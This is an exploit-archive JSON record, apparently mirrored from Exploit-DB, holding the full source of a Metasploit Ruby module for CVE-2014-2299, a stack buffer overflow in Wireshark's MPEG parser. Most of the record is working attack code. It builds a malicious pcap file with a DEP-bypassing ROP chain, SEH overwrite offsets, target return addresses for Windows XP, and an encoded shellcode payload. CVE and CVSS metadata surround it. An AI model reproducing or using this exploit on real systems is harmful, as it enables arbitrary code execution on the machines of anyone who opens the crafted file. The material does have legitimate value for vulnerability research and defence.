{"exploit":{"id":"EDB-33069","name":"Wireshark 1.8.12/1.10.5 - wiretap/mpeg.c Stack Buffer Overflow (Metasploit)","description":"Wireshark 1.8.12/1.10.5 - wiretap/mpeg.c Stack Buffer Overflow (Metasploit)","cves":["CVE-2014-2299"],"author":"Metasploit","published":"2014-04-28","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/33069","path":"exploits/windows/local/33069.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-33069.rb","vulnerabilities":[{"id":"CVE-2014-2299","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in the mpeg_read function in wiretap/mpeg.c in the MPEG parser in Wireshark 1.8.x before 1.8.13 and 1.10.x before 1.10.6 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a large record in MPEG data.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-2299","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-2299"},"updatedAt":"2024-08-06T10:06:00.278Z","retrievedAt":"2026-11-27T08:09:10.267Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-33069.png?v=2","url":"https://exploitbin.com/exploits/EDB-33069","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-33069/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-33069/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Wireshark 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer\nOverflow\n# Date: 24/04/2014\n# Exploit Author: j0sm1\n# Vendor Homepage: www.wireshark.org\n# Software Link: http://wireshark.askapache.com/download/win32/all-versions/\n# Version: < 1.8.12/1.10.5\n# Tested on: Windows XP SP3\n# CVE : cve-2014-2299\n\n# Metasploit URL module:\nhttps://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb\n\n#\n# This module requires Metasploit: http//metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n  Rank = GoodRanking\n\n  include Msf::Exploit::FILEFORMAT\n  include Msf::Exploit::Remote::Seh\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'Wireshark <= 1.8.12/1.10.5 wiretap/mpeg.c Stack Buffer Overflow',\n      'Description'    => %q{\n          This module triggers a stack buffer overflow in Wireshark <= 1.8.12/1.10.5\n          by generating an malicious file.)\n      },\n      'License'        => MSF_LICENSE,\n      'Author'         =>\n        [\n\t  'Wesley Neelen', # Discovery vulnerability\n          'j0sm1',  # Exploit and msf module\n        ],\n      'References'     =>\n        [\n          [ 'CVE', '2014-2299'],\n          [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=9843' ],\n          [ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2014-04.html' ],\n          [ 'URL', 'https://www.securityfocus.com/bid/66066/info' ]\n        ],\n      'DefaultOptions' =>\n        {\n          'EXITFUNC' => 'process',\n        },\n      'Payload'        =>\n        {\n          'BadChars'    => \"\\xff\",\n          'Space'       => 600,\n          'DisableNops' => 'True',\n          'PrependEncoder' => \"\\x81\\xec\\xc8\\x00\\x00\\x00\" # sub esp,200\n        },\n      'Platform'       => 'win',\n      'Targets'        =>\n        [\n          [ 'WinXP SP3 Spanish (bypass DEP)',\n            {\n              'OffSet' => 69732,\n              'OffSet2' => 70476,\n              'Ret'    => 0x1c077cc3, # pop/pop/ret -> \"c:\\Program Files\\Wireshark\\krb5_32.dll\" (version: 1.6.3.16)\n              'jmpesp' => 0x68e2bfb9,\n            }\n          ],\n\t  [ 'WinXP SP2/SP3 English  (bypass DEP)',\n            {\n              'OffSet2' => 70692,\n              'OffSet' => 70476,\n              'Ret'    => 0x1c077cc3, # pop/pop/ret -> krb5_32.dll module\n              'jmpesp' => 0x68e2bfb9,\n            }\n          ],\n        ],\n      'Privileged'     => false,\n      'DisclosureDate' => 'Mar 20 2014'\n    ))\n\n    register_options(\n      [\n        OptString.new('FILENAME', [ true, 'pcap file',  'mpeg_overflow.pcap']),\n      ], self.class)\n  end\n\n  def create_rop_chain()\n\n    # rop chain generated with mona.py - www.corelan.be\n    rop_gadgets =\n    [\n      0x61863c2a,  # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]\n      0x62d9027c,  # ptr to &VirtualProtect() [IAT libcares-2.dll]\n      0x61970969,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]\n      0x61988cf6,  # XCHG EAX,ESI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]\n      0x619c0a2a,  # POP EBP # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]\n      0x61841e98,  # & push esp # ret  [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]\n      0x6191d11a,  # POP EBX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]\n      0x00000201,  # 0x00000201-> ebx\n      0x5a4c1414,  # POP EDX # RETN [zlib1.dll, ver: 1.2.5.0]\n      0x00000040,  # 0x00000040-> edx\n      0x6197660f,  # POP ECX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]\n      0x668242b9,  # &Writable location [libgnutls-26.dll]\n      0x6199b8a5,  # POP EDI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0\n      0x63a528c2,  # RETN (ROP NOP) [libgobject-2.0-0.dll]\n      0x61863c2a,  # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]\n      0x90909090,  # nop\n      0x6199652d,  # PUSHAD # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0]\n    ].flatten.pack(\"V*\")\n\n    return rop_gadgets\n\n  end\n\n  def exploit\n\n    print_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n\n    ropchain = create_rop_chain\n    magic_header = \"\\xff\\xfb\\x41\"                # mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure\n    # Here we build the packet data\n    packet = rand_text_alpha(883)\n    packet << \"\\x6c\\x7d\\x37\\x6c\" # NOP RETN\n    packet << \"\\x6c\\x7d\\x37\\x6c\" # NOP RETN\n    packet << ropchain\n    packet << payload.encoded                    # Shellcode\n    packet << rand_text_alpha(target['OffSet'] - 892 - ropchain.length - payload.encoded.length)\n\n    # 0xff is a badchar for this exploit then we can't make a jump back with jmp $-2000\n    # After nseh and seh we haven't space, then we have to jump to another location.\n\n    # When file is open with command line. This is NSEH/SEH overwrite\n    packet << make_nops(4) # nseh\n    packet << \"\\x6c\\x2e\\xe0\\x68\" # ADD ESP,93C # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN\n\n    packet << rand_text_alpha(target['OffSet2'] - target['OffSet'] - 8) # junk\n\n    # When file is open with GUI interface. This is NSEH/SEH overwrite\n    packet << make_nops(4) # nseh\n    # seh -> # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [libjpeg-8.dll] **\n    packet << \"\\x55\\x59\\x80\\x6b\"\n\n    print_status(\"Preparing payload\")\n    filecontent = magic_header\n    filecontent << packet\n    print_status(\"Writing payload to file, \" + filecontent.length.to_s()+\" bytes\")\n    file_create(filecontent)\n\n  end\nend","sha256":"352cf2a3f1a9036cdc54c2ed65e5387e2bd3aaef0d31af57e92d39cd4e5394c1","bytes":5534,"fetchedAt":"2026-11-27T08:09:09.996Z","encoding":"utf-8 (display only; download retains original bytes)"}